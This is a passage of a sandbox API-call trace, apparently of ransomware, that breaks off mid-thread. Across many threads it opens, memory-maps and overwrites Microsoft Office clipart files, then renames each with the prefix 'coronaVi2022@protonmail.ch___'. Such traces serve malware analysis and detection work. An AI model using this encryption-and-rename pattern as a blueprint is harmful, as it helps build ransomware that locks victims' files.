	[0105.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02758U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02758u.bmp")) returned 1
	[0105.711] free (_Block=0x51f4090) 
	[0105.711] RtlExitUserThread (Status=0x0) 

Thread:
	id = 861
	os_tid = 0x1de0

	[0105.652] _alloca_probe () returned 0x40328a
	[0105.653] GetCurrentThreadId () returned 0x1de0
	[0105.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.jpg", dwFileAttributes=0x80) returned 1
	[0105.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1034
	[0105.661] GetFileSizeEx (in: hFile=0x1034, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=41170) returned 1
	[0105.661] CreateFileMappingA (hFile=0x1034, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa0d3, lpName=0x0) returned 0x1038
	[0105.661] MapViewOfFile (hFileMappingObject=0x1038, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0105.690] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0105.690] CloseHandle (hObject=0x1038) returned 1
	[0105.690] GetCurrentThreadId () returned 0x1de0
	[0105.690] FlushFileBuffers (hFile=0x1034) returned 1
	[0105.708] CloseHandle (hObject=0x1034) returned 1
	[0105.708] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02759J.jpg") returned 97
	[0105.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02759J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02759j.jpg")) returned 1
	[0105.709] free (_Block=0x51f0070) 
	[0105.709] RtlExitUserThread (Status=0x0) 

Thread:
	id = 862
	os_tid = 0x1de4

	[0105.713] _alloca_probe () returned 0x40328a
	[0105.714] GetCurrentThreadId () returned 0x1de4
	[0105.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.jpg", dwFileAttributes=0x80) returned 1
	[0105.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1034
	[0105.714] GetFileSizeEx (in: hFile=0x1034, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=50647) returned 1
	[0105.714] CreateFileMappingA (hFile=0x1034, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5dd, lpName=0x0) returned 0x102c
	[0105.715] MapViewOfFile (hFileMappingObject=0x102c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0105.725] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0105.726] CloseHandle (hObject=0x102c) returned 1
	[0105.726] GetCurrentThreadId () returned 0x1de4
	[0105.726] FlushFileBuffers (hFile=0x1034) returned 1
	[0105.729] CloseHandle (hObject=0x1034) returned 1
	[0105.729] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02810J.jpg") returned 97
	[0105.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02810J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02810j.jpg")) returned 1
	[0105.730] free (_Block=0x51f60a0) 
	[0105.730] RtlExitUserThread (Status=0x0) 

Thread:
	id = 863
	os_tid = 0x1de8

	[0105.768] _alloca_probe () returned 0x40328a
	[0105.769] GetCurrentThreadId () returned 0x1de8
	[0105.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.jpg", dwFileAttributes=0x80) returned 1
	[0105.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1024
	[0105.770] GetFileSizeEx (in: hFile=0x1024, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=62520) returned 1
	[0105.770] CreateFileMappingA (hFile=0x1024, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf43f, lpName=0x0) returned 0x103c
	[0105.770] MapViewOfFile (hFileMappingObject=0x103c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0105.939] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0105.940] CloseHandle (hObject=0x103c) returned 1
	[0105.940] GetCurrentThreadId () returned 0x1de8
	[0105.940] FlushFileBuffers (hFile=0x1024) returned 1
	[0105.950] CloseHandle (hObject=0x1024) returned 1
	[0105.950] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02829J.jpg") returned 97
	[0105.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02829J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02829j.jpg")) returned 1
	[0105.951] free (_Block=0x51f0070) 
	[0105.951] RtlExitUserThread (Status=0x0) 

Thread:
	id = 864
	os_tid = 0x1dec

	[0105.771] _alloca_probe () returned 0x40328a
	[0105.772] GetCurrentThreadId () returned 0x1dec
	[0105.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.gif", dwFileAttributes=0x80) returned 1
	[0105.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1044
	[0105.773] GetFileSizeEx (in: hFile=0x1044, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=12530) returned 1
	[0105.773] CreateFileMappingA (hFile=0x1044, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30f3, lpName=0x0) returned 0x1048
	[0105.773] MapViewOfFile (hFileMappingObject=0x1048, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x470000
	[0105.919] UnmapViewOfFile (lpBaseAddress=0x470000) returned 1
	[0105.919] CloseHandle (hObject=0x1048) returned 1
	[0105.919] GetCurrentThreadId () returned 0x1dec
	[0105.919] FlushFileBuffers (hFile=0x1044) returned 1
	[0105.945] CloseHandle (hObject=0x1044) returned 1
	[0105.945] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02845G.gif") returned 97
	[0105.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02845G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02845g.gif")) returned 1
	[0105.946] free (_Block=0x51f80b0) 
	[0105.946] RtlExitUserThread (Status=0x0) 

Thread:
	id = 865
	os_tid = 0x1df0

	[0105.774] _alloca_probe () returned 0x40328a
	[0105.774] GetCurrentThreadId () returned 0x1df0
	[0105.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.jpg", dwFileAttributes=0x80) returned 1
	[0105.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1050
	[0105.775] GetFileSizeEx (in: hFile=0x1050, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=15429) returned 1
	[0105.775] CreateFileMappingA (hFile=0x1050, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c49, lpName=0x0) returned 0x1054
	[0105.775] MapViewOfFile (hFileMappingObject=0x1054, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000
	[0105.930] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1
	[0105.930] CloseHandle (hObject=0x1054) returned 1
	[0105.930] GetCurrentThreadId () returned 0x1df0
	[0105.930] FlushFileBuffers (hFile=0x1050) returned 1
	[0105.948] CloseHandle (hObject=0x1050) returned 1
	[0105.948] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02897J.jpg") returned 97
	[0105.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02897J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02897j.jpg")) returned 1
	[0105.949] free (_Block=0x51f4090) 
	[0105.949] RtlExitUserThread (Status=0x0) 

Thread:
	id = 866
	os_tid = 0x1df4

	[0105.777] _alloca_probe () returned 0x40328a
	[0105.913] GetCurrentThreadId () returned 0x1df4
	[0105.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.bmp", dwFileAttributes=0x80) returned 1
	[0105.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1054
	[0105.932] GetFileSizeEx (in: hFile=0x1054, lpFileSize=0x35cff5c | out: lpFileSize=0x35cff5c*=15478) returned 1
	[0105.932] CreateFileMappingA (hFile=0x1054, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c7b, lpName=0x0) returned 0x1048
	[0105.932] MapViewOfFile (hFileMappingObject=0x1048, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x470000
	[0105.944] UnmapViewOfFile (lpBaseAddress=0x470000) returned 1
	[0105.944] CloseHandle (hObject=0x1048) returned 1
	[0105.944] GetCurrentThreadId () returned 0x1df4
	[0105.944] FlushFileBuffers (hFile=0x1054) returned 1
	[0105.952] CloseHandle (hObject=0x1054) returned 1
	[0105.952] _swprintf (in: param_1=0x35c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03011U.bmp") returned 97
	[0105.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03011U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03011u.bmp")) returned 1
	[0105.953] free (_Block=0x51f60a0) 
	[0105.953] RtlExitUserThread (Status=0x0) 

Thread:
	id = 867
	os_tid = 0x1df8

	[0105.989] _alloca_probe () returned 0x40328a
	[0105.989] GetCurrentThreadId () returned 0x1df8
	[0105.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.bmp", dwFileAttributes=0x80) returned 1
	[0105.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1024
	[0105.990] GetFileSizeEx (in: hFile=0x1024, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4118) returned 1
	[0105.990] CreateFileMappingA (hFile=0x1024, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x101b, lpName=0x0) returned 0x1050
	[0105.990] MapViewOfFile (hFileMappingObject=0x1050, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0105.992] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0105.992] CloseHandle (hObject=0x1050) returned 1
	[0105.992] GetCurrentThreadId () returned 0x1df8
	[0105.992] FlushFileBuffers (hFile=0x1024) returned 1
	[0105.998] CloseHandle (hObject=0x1024) returned 1
	[0105.998] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03012U.bmp") returned 97
	[0105.998] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03012U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03012u.bmp")) returned 1
	[0105.999] free (_Block=0x51f4090) 
	[0105.999] RtlExitUserThread (Status=0x0) 

Thread:
	id = 868
	os_tid = 0x1dfc

	[0106.001] _alloca_probe () returned 0x40328a
	[0106.001] GetCurrentThreadId () returned 0x1dfc
	[0106.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.gif", dwFileAttributes=0x80) returned 1
	[0106.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1050
	[0106.002] GetFileSizeEx (in: hFile=0x1050, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=18898) returned 1
	[0106.002] CreateFileMappingA (hFile=0x1050, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49d3, lpName=0x0) returned 0x1044
	[0106.002] MapViewOfFile (hFileMappingObject=0x1044, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.006] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.006] CloseHandle (hObject=0x1044) returned 1
	[0106.006] GetCurrentThreadId () returned 0x1dfc
	[0106.006] FlushFileBuffers (hFile=0x1050) returned 1
	[0106.008] CloseHandle (hObject=0x1050) returned 1
	[0106.008] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03014_.gif") returned 97
	[0106.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03014_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03014_.gif")) returned 1
	[0106.009] free (_Block=0x51f60a0) 
	[0106.009] RtlExitUserThread (Status=0x0) 

Thread:
	id = 869
	os_tid = 0x1e00

	[0106.012] _alloca_probe () returned 0x40328a
	[0106.013] GetCurrentThreadId () returned 0x1e00
	[0106.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.jpg", dwFileAttributes=0x80) returned 1
	[0106.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1044
	[0106.013] GetFileSizeEx (in: hFile=0x1044, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=30895) returned 1
	[0106.013] CreateFileMappingA (hFile=0x1044, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78bd, lpName=0x0) returned 0x1048
	[0106.013] MapViewOfFile (hFileMappingObject=0x1048, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.020] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.020] CloseHandle (hObject=0x1048) returned 1
	[0106.021] GetCurrentThreadId () returned 0x1e00
	[0106.021] FlushFileBuffers (hFile=0x1044) returned 1
	[0106.022] CloseHandle (hObject=0x1044) returned 1
	[0106.022] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03041I.jpg") returned 97
	[0106.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03041I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03041i.jpg")) returned 1
	[0106.023] free (_Block=0x51f0070) 
	[0106.023] RtlExitUserThread (Status=0x0) 

Thread:
	id = 870
	os_tid = 0x1e04

	[0106.025] _alloca_probe () returned 0x40328a
	[0106.026] GetCurrentThreadId () returned 0x1e04
	[0106.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.jpg", dwFileAttributes=0x80) returned 1
	[0106.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1048
	[0106.026] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=29776) returned 1
	[0106.026] CreateFileMappingA (hFile=0x1048, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7450, lpName=0x0) returned 0x103c
	[0106.026] MapViewOfFile (hFileMappingObject=0x103c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.032] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.032] CloseHandle (hObject=0x103c) returned 1
	[0106.032] GetCurrentThreadId () returned 0x1e04
	[0106.032] FlushFileBuffers (hFile=0x1048) returned 1
	[0106.034] CloseHandle (hObject=0x1048) returned 1
	[0106.035] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03143I.jpg") returned 97
	[0106.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03143I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03143i.jpg")) returned 1
	[0106.036] free (_Block=0x51f5098) 
	[0106.036] RtlExitUserThread (Status=0x0) 

Thread:
	id = 871
	os_tid = 0x1e08

	[0106.037] _alloca_probe () returned 0x40328a
	[0106.038] GetCurrentThreadId () returned 0x1e08
	[0106.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.jpg", dwFileAttributes=0x80) returned 1
	[0106.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x103c
	[0106.039] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=41795) returned 1
	[0106.039] CreateFileMappingA (hFile=0x103c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa345, lpName=0x0) returned 0x105c
	[0106.039] MapViewOfFile (hFileMappingObject=0x105c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.047] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.048] CloseHandle (hObject=0x105c) returned 1
	[0106.048] GetCurrentThreadId () returned 0x1e08
	[0106.048] FlushFileBuffers (hFile=0x103c) returned 1
	[0106.052] CloseHandle (hObject=0x103c) returned 1
	[0106.052] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03205I.jpg") returned 97
	[0106.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03205I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03205i.jpg")) returned 1
	[0106.053] free (_Block=0x51f3088) 
	[0106.053] RtlExitUserThread (Status=0x0) 

Thread:
	id = 872
	os_tid = 0x1e0c

	[0106.054] _alloca_probe () returned 0x40328a
	[0106.055] GetCurrentThreadId () returned 0x1e0c
	[0106.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.jpg", dwFileAttributes=0x80) returned 1
	[0106.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x103c
	[0106.055] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=42053) returned 1
	[0106.056] CreateFileMappingA (hFile=0x103c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa449, lpName=0x0) returned 0x1060
	[0106.056] MapViewOfFile (hFileMappingObject=0x1060, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.065] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.065] CloseHandle (hObject=0x1060) returned 1
	[0106.065] GetCurrentThreadId () returned 0x1e0c
	[0106.065] FlushFileBuffers (hFile=0x103c) returned 1
	[0106.067] CloseHandle (hObject=0x103c) returned 1
	[0106.068] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03224I.jpg") returned 97
	[0106.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03224I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03224i.jpg")) returned 1
	[0106.069] free (_Block=0x51f0070) 
	[0106.069] RtlExitUserThread (Status=0x0) 

Thread:
	id = 873
	os_tid = 0x1e10

	[0106.070] _alloca_probe () returned 0x40328a
	[0106.070] GetCurrentThreadId () returned 0x1e10
